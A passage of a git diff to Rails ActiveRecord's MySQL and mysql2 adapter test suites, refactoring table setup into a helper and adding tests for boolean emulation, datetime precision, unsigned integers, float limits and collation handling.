-    assert_equal 1, result.rows.length
-    assert_equal 2, result.columns.length
+      assert_equal 1, result.rows.length
+      assert_equal 2, result.columns.length
 
-    assert_equal [[1, 'foo']], result.rows
+      assert_equal [[1, 'foo']], result.rows
+    end
   end
 
   # Test that MySQL allows multiple results for stored procedures
@@ -128,17 +127,21 @@ class MysqlConnectionTest < ActiveRecord::TestCase
     end
   end
 
+  def test_mysql_connection_collation_is_configured
+    assert_equal 'utf8_unicode_ci', @connection.show_variable('collation_connection')
+    assert_equal 'utf8_general_ci', ARUnit2Model.connection.show_variable('collation_connection')
+  end
+
   def test_mysql_default_in_strict_mode
     result = @connection.exec_query "SELECT @@SESSION.sql_mode"
     assert_equal [["STRICT_ALL_TABLES"]], result.rows
   end
 
-  def test_mysql_strict_mode_disabled_dont_override_global_sql_mode
+  def test_mysql_strict_mode_disabled
     run_without_connection do |orig_connection|
       ActiveRecord::Base.establish_connection(orig_connection.merge({:strict => false}))
-      global_sql_mode = ActiveRecord::Base.connection.exec_query "SELECT @@GLOBAL.sql_mode"
-      session_sql_mode = ActiveRecord::Base.connection.exec_query "SELECT @@SESSION.sql_mode"
-      assert_equal global_sql_mode.rows, session_sql_mode.rows
+      result = ActiveRecord::Base.connection.exec_query "SELECT @@SESSION.sql_mode"
+      assert_equal [['']], result.rows
     end
   end
 
@@ -150,6 +153,14 @@ class MysqlConnectionTest < ActiveRecord::TestCase
     end
   end
 
+  def test_mysql_sql_mode_variable_overrides_strict_mode
+    run_without_connection do |orig_connection|
+      ActiveRecord::Base.establish_connection(orig_connection.deep_merge(variables: { 'sql_mode' => 'ansi' }))
+      result = ActiveRecord::Base.connection.exec_query 'SELECT @@SESSION.sql_mode'
+      assert_not_equal [['STRICT_ALL_TABLES']], result.rows
+    end
+  end
+
   def test_mysql_set_session_variable_to_default
     run_without_connection do |orig_connection|
       ActiveRecord::Base.establish_connection(orig_connection.deep_merge({:variables => {:default_week_format => :default}}))
@@ -161,12 +172,11 @@ class MysqlConnectionTest < ActiveRecord::TestCase
 
   private
 
-  def run_without_connection
-    original_connection = ActiveRecord::Base.remove_connection
-    begin
-      yield original_connection
-    ensure
-      ActiveRecord::Base.establish_connection(original_connection)
-    end
+  def with_example_table(&block)
+    definition ||= <<-SQL
+      `id` int(11) auto_increment PRIMARY KEY,
+      `data` varchar(255)
+    SQL
+    super(@connection, 'ex', definition, &block)
   end
 end
diff --git a/activerecord/test/cases/adapters/mysql/consistency_test.rb b/activerecord/test/cases/adapters/mysql/consistency_test.rb
new file mode 100644
index 0000000000..e972d6b330
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql/consistency_test.rb
@@ -0,0 +1,49 @@
+require "cases/helper"
+
+class MysqlConsistencyTest < ActiveRecord::TestCase
+  self.use_transactional_fixtures = false
+
+  class Consistency < ActiveRecord::Base
+    self.table_name = "mysql_consistency"
+  end
+
+  setup do
+    @old_emulate_booleans = ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans
+    ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans = false
+
+    @connection = ActiveRecord::Base.connection
+    @connection.clear_cache!
+    @connection.create_table("mysql_consistency") do |t|
+      t.boolean "a_bool"
+      t.string "a_string"
+    end
+    Consistency.reset_column_information
+    Consistency.create!
+  end
+
+  teardown do
+    ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans = @old_emulate_booleans
+    @connection.drop_table "mysql_consistency"
+  end
+
+  test "boolean columns with random value type cast to 0 when emulate_booleans is false" do
+    with_new = Consistency.new
+    with_last = Consistency.last
+    with_new.a_bool = 'wibble'
+    with_last.a_bool = 'wibble'
+
+    assert_equal 0, with_new.a_bool
+    assert_equal 0, with_last.a_bool
+  end
+
+  test "string columns call #to_s" do
+    with_new = Consistency.new
+    with_last = Consistency.last
+    thing = Object.new
+    with_new.a_string = thing
+    with_last.a_string = thing
+
+    assert_equal thing.to_s, with_new.a_string
+    assert_equal thing.to_s, with_last.a_string
+  end
+end
diff --git a/activerecord/test/cases/adapters/mysql/datetime_test.rb b/activerecord/test/cases/adapters/mysql/datetime_test.rb
new file mode 100644
index 0000000000..ae00f4e131
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql/datetime_test.rb
@@ -0,0 +1,87 @@
+require 'cases/helper'
+
+if mysql_56?
+  class DateTimeTest < ActiveRecord::TestCase
+    self.use_transactional_fixtures = false
+
+    class Foo < ActiveRecord::Base; end
+
+    def test_default_datetime_precision
+      ActiveRecord::Base.connection.create_table(:foos, force: true)
+      ActiveRecord::Base.connection.add_column :foos, :created_at, :datetime
+      ActiveRecord::Base.connection.add_column :foos, :updated_at, :datetime
+      assert_nil activerecord_column_option('foos', 'created_at', 'precision')
+    end
+
+    def test_datetime_data_type_with_precision
+      ActiveRecord::Base.connection.create_table(:foos, force: true)
+      ActiveRecord::Base.connection.add_column :foos, :created_at, :datetime, precision: 1
+      ActiveRecord::Base.connection.add_column :foos, :updated_at, :datetime, precision: 5
+      assert_equal 1, activerecord_column_option('foos', 'created_at', 'precision')
+      assert_equal 5, activerecord_column_option('foos', 'updated_at', 'precision')
+    end
+
+    def test_timestamps_helper_with_custom_precision
+      ActiveRecord::Base.connection.create_table(:foos, force: true) do |t|
+        t.timestamps null: true, precision: 4
+      end
+      assert_equal 4, activerecord_column_option('foos', 'created_at', 'precision')
+      assert_equal 4, activerecord_column_option('foos', 'updated_at', 'precision')
+    end
+
+    def test_passing_precision_to_datetime_does_not_set_limit
+      ActiveRecord::Base.connection.create_table(:foos, force: true) do |t|
+        t.timestamps null: true, precision: 4
+      end
+      assert_nil activerecord_column_option('foos', 'created_at', 'limit')
+      assert_nil activerecord_column_option('foos', 'updated_at', 'limit')
+    end
+
+    def test_invalid_datetime_precision_raises_error
+      assert_raises ActiveRecord::ActiveRecordError do
+        ActiveRecord::Base.connection.create_table(:foos, force: true) do |t|
+          t.timestamps null: true, precision: 7
+        end
+      end
+    end
+
+    def test_mysql_agrees_with_activerecord_about_precision
+      ActiveRecord::Base.connection.create_table(:foos, force: true) do |t|
+        t.timestamps null: true, precision: 4
+      end
+      assert_equal 4, mysql_datetime_precision('foos', 'created_at')
+      assert_equal 4, mysql_datetime_precision('foos', 'updated_at')
+    end
+
+    def test_formatting_datetime_according_to_precision
+      ActiveRecord::Base.connection.create_table(:foos, force: true) do |t|
+        t.datetime :created_at, precision: 0
+        t.datetime :updated_at, precision: 4
+      end
+      date = ::Time.utc(2014, 8, 17, 12, 30, 0, 999999)
+      Foo.create!(created_at: date, updated_at: date)
+      assert foo = Foo.find_by(created_at: date)
+      assert_equal date.to_s, foo.created_at.to_s
+      assert_equal date.to_s, foo.updated_at.to_s
+      assert_equal 000000, foo.created_at.usec
+      assert_equal 999900, foo.updated_at.usec
+    end
+
+    private
+
+    def mysql_datetime_precision(table_name, column_name)
+      results = ActiveRecord::Base.connection.exec_query("SELECT column_name, datetime_precision FROM information_schema.columns WHERE table_name = '#{table_name}'")
+      result = results.find do |result_hash|
+        result_hash["column_name"] == column_name
+      end
+      result && result["datetime_precision"]
+    end
+
+    def activerecord_column_option(tablename, column_name, option)
+      result = ActiveRecord::Base.connection.columns(tablename).find do |column|
+        column.name == column_name
+      end
+      result && result.send(option)
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/mysql/mysql_adapter_test.rb b/activerecord/test/cases/adapters/mysql/mysql_adapter_test.rb
index 9ad0744aee..7d0bd24ba7 100644
--- a/activerecord/test/cases/adapters/mysql/mysql_adapter_test.rb
+++ b/activerecord/test/cases/adapters/mysql/mysql_adapter_test.rb
@@ -1,24 +1,29 @@
-# encoding: utf-8
 
 require "cases/helper"
+require 'support/ddl_helper'
 
 module ActiveRecord
   module ConnectionAdapters
     class MysqlAdapterTest < ActiveRecord::TestCase
+      include DdlHelper
+
       def setup
         @conn = ActiveRecord::Base.connection
-        @conn.exec_query('drop table if exists ex')
-        @conn.exec_query(<<-eosql)
-          CREATE TABLE `ex` (
-            `id` int(11) DEFAULT NULL auto_increment PRIMARY KEY,
-            `number` integer,
-            `data` varchar(255))
-        eosql
+      end
+
+      def test_bad_connection_mysql
+        assert_raise ActiveRecord::NoDatabaseError do
+          configuration = ActiveRecord::Base.configurations['arunit'].merge(database: 'inexistent_activerecord_unittest')
+          connection = ActiveRecord::Base.mysql_connection(configuration)
+          connection.exec_query('drop table if exists ex')
+        end
       end
 
       def test_valid_column
-        column = @conn.columns('ex').find { |col| col.name == 'id' }
-        assert @conn.valid_type?(column.type)
+        with_example_table do
+          column = @conn.columns('ex').find { |col| col.name == 'id' }
+          assert @conn.valid_type?(column.type)
+        end
       end
 
       def test_invalid_column
@@ -30,31 +35,35 @@ module ActiveRecord
       end
 
       def test_exec_insert_number
-        insert(@conn, 'number' => 10)
+        with_example_table do
+          insert(@conn, 'number' => 10)
 
-        result = @conn.exec_query('SELECT number FROM ex WHERE number = 10')
+          result = @conn.exec_query('SELECT number FROM ex WHERE number = 10')
 
-        assert_equal 1, result.rows.length
-        # if there are no bind parameters, it will return a string (due to
-        # the libmysql api)
-        assert_equal '10', result.rows.last.last
+          assert_equal 1, result.rows.length
+          # if there are no bind parameters, it will return a string (due to
+          # the libmysql api)
+          assert_equal '10', result.rows.last.last
+        end
       end
 
       def test_exec_insert_string
-        str = 'いただきます！'
-        insert(@conn, 'number' => 10, 'data' => str)
+        with_example_table do
+          str = 'いただきます！'
+          insert(@conn, 'number' => 10, 'data' => str)
 
-        result = @conn.exec_query('SELECT number, data FROM ex WHERE number = 10')
+          result = @conn.exec_query('SELECT number, data FROM ex WHERE number = 10')
 
-        value = result.rows.last.last
+          value = result.rows.last.last
 
-        # FIXME: this should probably be inside the mysql AR adapter?
-        value.force_encoding(@conn.client_encoding)
+          # FIXME: this should probably be inside the mysql AR adapter?
+          value.force_encoding(@conn.client_encoding)
 
-        # The strings in this file are utf-8, so transcode to utf-8
-        value.encode!(Encoding::UTF_8)
+          # The strings in this file are utf-8, so transcode to utf-8
+          value.encode!(Encoding::UTF_8)
 
-        assert_equal str, value
+          assert_equal str, value
+        end
       end
 
       def test_tables_quoting
@@ -66,46 +75,43 @@ module ActiveRecord
       end
 
       def test_pk_and_sequence_for
-        pk, seq = @conn.pk_and_sequence_for('ex')
-        assert_equal 'id', pk
-        assert_equal @conn.default_sequence_name('ex', 'id'), seq
+        with_example_table do
+          pk, seq = @conn.pk_and_sequence_for('ex')
+          assert_equal 'id', pk
+          assert_equal @conn.default_sequence_name('ex', 'id'), seq
+        end
       end
 
       def test_pk_and_sequence_for_with_non_standard_primary_key
-        @conn.exec_query('drop table if exists ex_with_non_standard_pk')
-        @conn.exec_query(<<-eosql)
-          CREATE TABLE `ex_with_non_standard_pk` (
-            `code` INT(11) DEFAULT NULL auto_increment,
-             PRIMARY KEY  (`code`))
-        eosql
-        pk, seq = @conn.pk_and_sequence_for('ex_with_non_standard_pk')
-        assert_equal 'code', pk
-        assert_equal @conn.default_sequence_name('ex_with_non_standard_pk', 'code'), seq
+        with_example_table '`code` INT(11) auto_increment, PRIMARY KEY (`code`)' do
+          pk, seq = @conn.pk_and_sequence_for('ex')
+          assert_equal 'code', pk
+          assert_equal @conn.default_sequence_name('ex', 'code'), seq
+        end
       end
 
       def test_pk_and_sequence_for_with_custom_index_type_pk
-        @conn.exec_query('drop table if exists ex_with_custom_index_type_pk')
-        @conn.exec_query(<<-eosql)
-          CREATE TABLE `ex_with_custom_index_type_pk` (
-            `id` INT(11) DEFAULT NULL auto_increment,
-             PRIMARY KEY  USING BTREE (`id`))
-        eosql
-        pk, seq = @conn.pk_and_sequence_for('ex_with_custom_index_type_pk')
-        assert_equal 'id', pk
-        assert_equal @conn.default_sequence_name('ex_with_custom_index_type_pk', 'id'), seq
+        with_example_table '`id` INT(11) auto_increment, PRIMARY KEY USING BTREE (`id`)' do
+          pk, seq = @conn.pk_and_sequence_for('ex')
+          assert_equal 'id', pk
+          assert_equal @conn.default_sequence_name('ex', 'id'), seq
+        end
+      end
+
+      def test_composite_primary_key
+        with_example_table '`id` INT(11), `number` INT(11), foo INT(11), PRIMARY KEY (`id`, `number`)' do
+          assert_nil @conn.primary_key('ex')
+        end
       end
 
       def test_tinyint_integer_typecasting
-        @conn.exec_query('drop table if exists ex_with_non_boolean_tinyint_column')
-        @conn.exec_query(<<-eosql)
-          CREATE TABLE `ex_with_non_boolean_tinyint_column` (
-            `status` TINYINT(4))
-        eosql
-        insert(@conn, { 'status' => 2 }, 'ex_with_non_boolean_tinyint_column')
+        with_example_table '`status` TINYINT(4)' do
+          insert(@conn, { 'status' => 2 }, 'ex')
 
-        result = @conn.exec_query('SELECT status FROM ex_with_non_boolean_tinyint_column')
+          result = @conn.exec_query('SELECT status FROM ex')
 
-        assert_equal 2, result.column_types['status'].type_cast(result.last['status'])
+          assert_equal 2, result.column_types['status'].type_cast_from_database(result.last['status'])
+        end
       end
 
       def test_supports_extensions
@@ -122,16 +128,25 @@ module ActiveRecord
 
       private
       def insert(ctx, data, table='ex')
-        binds   = data.map { |name, value|
-          [ctx.columns(table).find { |x| x.name == name }, value]
+        binds = data.map { |name, value|
+          Relation::QueryAttribute.new(name, value, Type::Value.new)
         }
-        columns = binds.map(&:first).map(&:name)
+        columns = binds.map(&:name)
 
         sql = "INSERT INTO #{table} (#{columns.join(", ")})
                VALUES (#{(['?'] * columns.length).join(', ')})"
 
         ctx.exec_insert(sql, 'SQL', binds)
       end
+
+      def with_example_table(definition = nil, &block)
+        definition ||= <<-SQL
+          `id` int(11) auto_increment PRIMARY KEY,
+          `number` integer,
+          `data` varchar(255)
+        SQL
+        super(@conn, 'ex', definition, &block)
+      end
     end
   end
 end
diff --git a/activerecord/test/cases/adapters/mysql/quoting_test.rb b/activerecord/test/cases/adapters/mysql/quoting_test.rb
index 3d1330efb8..a2206153e9 100644
--- a/activerecord/test/cases/adapters/mysql/quoting_test.rb
+++ b/activerecord/test/cases/adapters/mysql/quoting_test.rb
@@ -9,15 +9,11 @@ module ActiveRecord
         end
 
         def test_type_cast_true
-          c = Column.new(nil, 1, 'boolean')
-          assert_equal 1, @conn.type_cast(true, nil)
-          assert_equal 1, @conn.type_cast(true, c)
+          assert_equal 1, @conn.type_cast(true)
         end
 
         def test_type_cast_false
-          c = Column.new(nil, 1, 'boolean')
-          assert_equal 0, @conn.type_cast(false, nil)
-          assert_equal 0, @conn.type_cast(false, c)
+          assert_equal 0, @conn.type_cast(false)
         end
       end
     end
diff --git a/activerecord/test/cases/adapters/mysql/reserved_word_test.rb b/activerecord/test/cases/adapters/mysql/reserved_word_test.rb
index 8eb9565963..403f7cbc74 100644
--- a/activerecord/test/cases/adapters/mysql/reserved_word_test.rb
+++ b/activerecord/test/cases/adapters/mysql/reserved_word_test.rb
@@ -37,7 +37,7 @@ class MysqlReservedWordTest < ActiveRecord::TestCase
       'distinct_select'=>'distinct_id int, select_id int'
   end
 
-  def teardown
+  teardown do
     drop_tables_directly ['group', 'select', 'values', 'distinct', 'distinct_select', 'order']
   end
 
@@ -101,7 +101,7 @@ class MysqlReservedWordTest < ActiveRecord::TestCase
     gs = nil
     assert_nothing_raised { gs = Select.find(2).groups }
     assert_equal gs.length, 2
-    assert(gs.collect{|x| x.id}.sort == [2, 3])
+    assert(gs.collect(&:id).sort == [2, 3])
   end
 
   # has_and_belongs_to_many with reserved-word table name
@@ -110,7 +110,7 @@ class MysqlReservedWordTest < ActiveRecord::TestCase
     s = nil
     assert_nothing_raised { s = Distinct.find(1).selects }
     assert_equal s.length, 2
-    assert(s.collect{|x|x.id}.sort == [1, 2])
+    assert(s.collect(&:id).sort == [1, 2])
   end
 
   # activerecord model introspection with reserved-word table and column names
diff --git a/activerecord/test/cases/adapters/mysql/schema_test.rb b/activerecord/test/cases/adapters/mysql/schema_test.rb
index 807a7a155e..ab547747df 100644
--- a/activerecord/test/cases/adapters/mysql/schema_test.rb
+++ b/activerecord/test/cases/adapters/mysql/schema_test.rb
@@ -17,6 +17,44 @@ module ActiveRecord
           self.table_name = "#{db}.#{table}"
           def self.name; 'Post'; end
         end
+
+        @connection.create_table "mysql_doubles"
+      end
+
+      teardown do
+        @connection.execute "drop table if exists mysql_doubles"
+      end
+
+      class MysqlDouble < ActiveRecord::Base
+        self.table_name = "mysql_doubles"
+      end
+
+      def test_float_limits
+        @connection.add_column :mysql_doubles, :float_no_limit, :float
+        @connection.add_column :mysql_doubles, :float_short, :float, limit: 5
+        @connection.add_column :mysql_doubles, :float_long, :float, limit: 53
+
+        @connection.add_column :mysql_doubles, :float_23, :float, limit: 23
+        @connection.add_column :mysql_doubles, :float_24, :float, limit: 24
+        @connection.add_column :mysql_doubles, :float_25, :float, limit: 25
+        MysqlDouble.reset_column_information
+
+        column_no_limit = MysqlDouble.columns.find { |c| c.name == 'float_no_limit' }
+        column_short = MysqlDouble.columns.find { |c| c.name == 'float_short' }
+        column_long = MysqlDouble.columns.find { |c| c.name == 'float_long' }
+
+        column_23 = MysqlDouble.columns.find { |c| c.name == 'float_23' }
+        column_24 = MysqlDouble.columns.find { |c| c.name == 'float_24' }
+        column_25 = MysqlDouble.columns.find { |c| c.name == 'float_25' }
+
+        # Mysql floats are precision 0..24, Mysql doubles are precision 25..53
+        assert_equal 24, column_no_limit.limit
+        assert_equal 24, column_short.limit
+        assert_equal 53, column_long.limit
+
+        assert_equal 24, column_23.limit
+        assert_equal 24, column_24.limit
+        assert_equal 53, column_25.limit
       end
 
       def test_schema
@@ -43,7 +81,7 @@ module ActiveRecord
 
         table = 'key_tests'
 
-        indexes = @connection.indexes(table).sort_by {|i| i.name}
+        indexes = @connection.indexes(table).sort_by(&:name)
         assert_equal 3,indexes.size
 
         index_a = indexes.select{|i| i.name == index_a_name}[0]
diff --git a/activerecord/test/cases/adapters/mysql/statement_pool_test.rb b/activerecord/test/cases/adapters/mysql/statement_pool_test.rb
index 83de90f179..209a0cf464 100644
--- a/activerecord/test/cases/adapters/mysql/statement_pool_test.rb
+++ b/activerecord/test/cases/adapters/mysql/statement_pool_test.rb
@@ -3,20 +3,20 @@ require 'cases/helper'
 module ActiveRecord::ConnectionAdapters
   class MysqlAdapter
     class StatementPoolTest < ActiveRecord::TestCase
-      def test_cache_is_per_pid
-        return skip('must support fork') unless Process.respond_to?(:fork)
+      if Process.respond_to?(:fork)
+        def test_cache_is_per_pid
+          cache = StatementPool.new nil, 10
+          cache['foo'] = 'bar'
+          assert_equal 'bar', cache['foo']
 
-        cache = StatementPool.new nil, 10
-        cache['foo'] = 'bar'
-        assert_equal 'bar', cache['foo']
+          pid = fork {
+            lookup = cache['foo'];
+            exit!(!lookup)
+          }
 
-        pid = fork {
-          lookup = cache['foo'];
-          exit!(!lookup)
-        }
-
-        Process.waitpid pid
-        assert $?.success?, 'process should exit successfully'
+          Process.waitpid pid
+          assert $?.success?, 'process should exit successfully'
+        end
       end
     end
   end
diff --git a/activerecord/test/cases/adapters/mysql/unsigned_type_test.rb b/activerecord/test/cases/adapters/mysql/unsigned_type_test.rb
new file mode 100644
index 0000000000..8f521e9181
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql/unsigned_type_test.rb
@@ -0,0 +1,30 @@
+require "cases/helper"
+
+class UnsignedTypeTest < ActiveRecord::TestCase
+  self.use_transactional_fixtures = false
+
+  class UnsignedType < ActiveRecord::Base
+  end
+
+  setup do
+    @connection = ActiveRecord::Base.connection
+    @connection.create_table("unsigned_types", force: true) do |t|
+      t.column :unsigned_integer, "int unsigned"
+    end
+  end
+
+  teardown do
+    @connection.drop_table "unsigned_types"
+  end
+
+  test "unsigned int max value is in range" do
+    assert expected = UnsignedType.create(unsigned_integer: 4294967295)
+    assert_equal expected, UnsignedType.find_by(unsigned_integer: 4294967295)
+  end
+
+  test "minus value is out of range" do
+    assert_raise(RangeError) do
+      UnsignedType.create(unsigned_integer: -10)
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/mysql2/active_schema_test.rb b/activerecord/test/cases/adapters/mysql2/active_schema_test.rb
index 4ccf568406..e87cd3886a 100644
--- a/activerecord/test/cases/adapters/mysql2/active_schema_test.rb
+++ b/activerecord/test/cases/adapters/mysql2/active_schema_test.rb
@@ -1,23 +1,23 @@
 require "cases/helper"
+require 'support/connection_helper'
 
 class ActiveSchemaTest < ActiveRecord::TestCase
-  def setup
-    @connection = ActiveRecord::Base.remove_connection
-    ActiveRecord::Base.establish_connection(@connection)
+  include ConnectionHelper
 
+  def setup
     ActiveRecord::Base.connection.singleton_class.class_eval do
       alias_method :execute_without_stub, :execute
       def execute(sql, name = nil) return sql end
     end
   end
 
-  def teardown
-    ActiveRecord::Base.remove_connection
-    ActiveRecord::Base.establish_connection(@connection)
+  teardown do
+    reset_connection
   end
 
   def test_add_index
-    # add_index calls index_name_exists? which can't work since execute is stubbed
+    # add_index calls table_exists? and index_name_exists? which can't work since execute is stubbed
+    def (ActiveRecord::Base.connection).table_exists?(*); true; end
     def (ActiveRecord::Base.connection).index_name_exists?(*); false; end
 
     expected = "CREATE  INDEX `index_people_on_last_name`  ON `people` (`last_name`) "
@@ -92,7 +92,7 @@ class ActiveSchemaTest < ActiveRecord::TestCase
     with_real_execute do
       begin
         ActiveRecord::Base.connection.create_table :delete_me
-        ActiveRecord::Base.connection.add_timestamps :delete_me
+        ActiveRecord::Base.connection.add_timestamps :delete_me, null: true
         assert column_present?('delete_me', 'updated_at', 'datetime')
         assert column_present?('delete_me', 'created_at', 'datetime')
       ensure
@@ -105,9 +105,9 @@ class ActiveSchemaTest < ActiveRecord::TestCase
     with_real_execute do
       begin
         ActiveRecord::Base.connection.create_table :delete_me do |t|
-          t.timestamps
+          t.timestamps null: true
         end
-        ActiveRecord::Base.connection.remove_timestamps :delete_me
+        ActiveRecord::Base.connection.remove_timestamps :delete_me, { null: true }
         assert !column_present?('delete_me', 'updated_at', 'datetime')
         assert !column_present?('delete_me', 'created_at', 'datetime')
       ensure
@@ -116,6 +116,18 @@ class ActiveSchemaTest < ActiveRecord::TestCase
     end
   end
 
+  def test_indexes_in_create
+    ActiveRecord::Base.connection.stubs(:table_exists?).with(:temp).returns(false)
+    ActiveRecord::Base.connection.stubs(:index_name_exists?).with(:index_temp_on_zip).returns(false)
+
+    expected = "CREATE TEMPORARY TABLE `temp` ( INDEX `index_temp_on_zip`  (`zip`) ) ENGINE=InnoDB AS SELECT id, name, zip FROM a_really_complicated_query"
+    actual = ActiveRecord::Base.connection.create_table(:temp, temporary: true, as: "SELECT id, name, zip FROM a_really_complicated_query") do |t|
+      t.index :zip
+    end
+
+    assert_equal expected, actual
+  end
+
   private
     def with_real_execute
       ActiveRecord::Base.connection.singleton_class.class_eval do
diff --git a/activerecord/test/cases/adapters/mysql2/boolean_test.rb b/activerecord/test/cases/adapters/mysql2/boolean_test.rb
new file mode 100644
index 0000000000..0e641ba3bf
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql2/boolean_test.rb
@@ -0,0 +1,90 @@
+require "cases/helper"
+
+class Mysql2BooleanTest < ActiveRecord::TestCase
+  self.use_transactional_fixtures = false
+
+  class BooleanType < ActiveRecord::Base
+    self.table_name = "mysql_booleans"
+  end
+
+  setup do
+    @connection = ActiveRecord::Base.connection
+    @connection.clear_cache!
+    @connection.create_table("mysql_booleans") do |t|
+      t.boolean "archived"
+      t.string "published", limit: 1
+    end
+    BooleanType.reset_column_information
+
+    @emulate_booleans = ActiveRecord::ConnectionAdapters::Mysql2Adapter.emulate_booleans
+  end
+
+  teardown do
+    emulate_booleans @emulate_booleans
+    @connection.drop_table "mysql_booleans"
+  end
+
+  test "column type with emulated booleans" do
+    emulate_booleans true
+
+    assert_equal :boolean, boolean_column.type
+    assert_equal :string, string_column.type
+  end
+
+  test "column type without emulated booleans" do
+    emulate_booleans false
+
+    assert_equal :integer, boolean_column.type
+    assert_equal :string, string_column.type
+  end
+
+  test "test type casting with emulated booleans" do
+    emulate_booleans true
+
+    boolean = BooleanType.create!(archived: true, published: true)
+    attributes = boolean.reload.attributes_before_type_cast
+
+    assert_equal 1, attributes["archived"]
+    assert_equal "1", attributes["published"]
+
+    assert_equal 1, @connection.type_cast(true)
+  end
+
+  test "test type casting without emulated booleans" do
+    emulate_booleans false
+
+    boolean = BooleanType.create!(archived: true, published: true)
+    attributes = boolean.reload.attributes_before_type_cast
+
+    assert_equal 1, attributes["archived"]
+    assert_equal "1", attributes["published"]
+
+    assert_equal 1, @connection.type_cast(true)
+  end
+
+  test "with booleans stored as 1 and 0" do
+    @connection.execute "INSERT INTO mysql_booleans(archived, published) VALUES(1, '1')"
+    boolean = BooleanType.first
+    assert_equal true, boolean.archived
+    assert_equal "1", boolean.published
+  end
+
+  test "with booleans stored as t" do
+    @connection.execute "INSERT INTO mysql_booleans(published) VALUES('t')"
+    boolean = BooleanType.first
+    assert_equal "t", boolean.published
+  end
+
+  def boolean_column
+    BooleanType.columns.find { |c| c.name == 'archived' }
+  end
+
+  def string_column
+    BooleanType.columns.find { |c| c.name == 'published' }
+  end
+
+  def emulate_booleans(value)
+    ActiveRecord::ConnectionAdapters::Mysql2Adapter.emulate_booleans = value
+    BooleanType.reset_column_information
+  end
+end
diff --git a/activerecord/test/cases/adapters/mysql2/case_sensitivity_test.rb b/activerecord/test/cases/adapters/mysql2/case_sensitivity_test.rb
index 6bcc113482..09bebf3071 100644
--- a/activerecord/test/cases/adapters/mysql2/case_sensitivity_test.rb
+++ b/activerecord/test/cases/adapters/mysql2/case_sensitivity_test.rb
@@ -3,10 +3,10 @@ require 'models/person'
 
 class Mysql2CaseSensitivityTest < ActiveRecord::TestCase
   class CollationTest < ActiveRecord::Base
-    validates_uniqueness_of :string_cs_column, :case_sensitive => false
-    validates_uniqueness_of :string_ci_column, :case_sensitive => false
   end
 
+  repair_validations(CollationTest)
+
   def test_columns_include_collation_different_from_table
     assert_equal 'utf8_bin', CollationTest.columns_hash['string_cs_column'].collation
     assert_equal 'utf8_general_ci', CollationTest.columns_hash['string_ci_column'].collation
@@ -18,6 +18,7 @@ class Mysql2CaseSensitivityTest < ActiveRecord::TestCase
   end
 
   def test_case_insensitive_comparison_for_ci_column
+    CollationTest.validates_uniqueness_of(:string_ci_column, :case_sensitive => false)
     CollationTest.create!(:string_ci_column => 'A')
     invalid = CollationTest.new(:string_ci_column => 'a')
     queries = assert_sql { invalid.save }
@@ -26,10 +27,29 @@ class Mysql2CaseSensitivityTest < ActiveRecord::TestCase
   end
 
   def test_case_insensitive_comparison_for_cs_column
+    CollationTest.validates_uniqueness_of(:string_cs_column, :case_sensitive => false)
     CollationTest.create!(:string_cs_column => 'A')
     invalid = CollationTest.new(:string_cs_column => 'a')
     queries = assert_sql { invalid.save }
     cs_uniqueness_query = queries.detect { |q| q.match(/string_cs_column/)}
     assert_match(/lower/i, cs_uniqueness_query)
   end
+
+  def test_case_sensitive_comparison_for_ci_column
+    CollationTest.validates_uniqueness_of(:string_ci_column, :case_sensitive => true)
+    CollationTest.create!(:string_ci_column => 'A')
+    invalid = CollationTest.new(:string_ci_column => 'A')
+    queries = assert_sql { invalid.save }
+    ci_uniqueness_query = queries.detect { |q| q.match(/string_ci_column/) }
+    assert_match(/binary/i, ci_uniqueness_query)
+  end
+
+  def test_case_sensitive_comparison_for_cs_column
+    CollationTest.validates_uniqueness_of(:string_cs_column, :case_sensitive => true)
+    CollationTest.create!(:string_cs_column => 'A')
+    invalid = CollationTest.new(:string_cs_column => 'A')
+    queries = assert_sql { invalid.save }
+    cs_uniqueness_query = queries.detect { |q| q.match(/string_cs_column/) }
+    assert_no_match(/binary/i, cs_uniqueness_query)
+  end
 end
diff --git a/activerecord/test/cases/adapters/mysql2/connection_test.rb b/activerecord/test/cases/adapters/mysql2/connection_test.rb
index fedd9f603c..ff8ce93248 100644
--- a/activerecord/test/cases/adapters/mysql2/connection_test.rb
+++ b/activerecord/test/cases/adapters/mysql2/connection_test.rb
@@ -1,16 +1,40 @@
 require "cases/helper"
+require 'support/connection_helper'
 
 class MysqlConnectionTest < ActiveRecord::TestCase
+  include ConnectionHelper
+
+  fixtures :comments
+
   def setup
     super
+    @subscriber = SQLSubscriber.new
+    @subscription = ActiveSupport::Notifications.subscribe('sql.active_record', @subscriber)
     @connection = ActiveRecord::Base.connection
-    @connection.extend(LogIntercepter)
-    @connection.intercepted = true
   end
 
   def teardown
-    @connection.intercepted = false
-    @connection.logged = []
+    ActiveSupport::Notifications.unsubscribe(@subscription)
+    super
+  end
+
+  def test_bad_connection
+    assert_raise ActiveRecord::NoDatabaseError do
+      configuration = ActiveRecord::Base.configurations['arunit'].merge(database: 'inexistent_activerecord_unittest')
+      connection = ActiveRecord::Base.mysql2_connection(configuration)
+      connection.exec_query('drop table if exists ex')
+    end
+  end
+
+  def test_truncate
+    rows = ActiveRecord::Base.connection.exec_query("select count(*) from comments")
+    count = rows.first.values.first
+    assert_operator count, :>, 0
+
+    ActiveRecord::Base.connection.truncate("comments")
+    rows = ActiveRecord::Base.connection.exec_query("select count(*) from comments")
+    count = rows.first.values.first
+    assert_equal 0, count
   end
 
   def test_no_automatic_reconnection_after_timeout
@@ -18,6 +42,9 @@ class MysqlConnectionTest < ActiveRecord::TestCase
     @connection.update('set @@wait_timeout=1')
     sleep 2
     assert !@connection.active?
+
+    # Repair all fixture connections so other tests won't break.
+    @fixture_connections.each(&:verify!)
   end
 
   def test_successful_reconnection_after_timeout_with_manual_reconnect
@@ -36,6 +63,11 @@ class MysqlConnectionTest < ActiveRecord::TestCase
     assert @connection.active?
   end
 
+  def test_mysql_connection_collation_is_configured
+    assert_equal 'utf8_unicode_ci', @connection.show_variable('collation_connection')
+    assert_equal 'utf8_general_ci', ARUnit2Model.connection.show_variable('collation_connection')
+  end
+
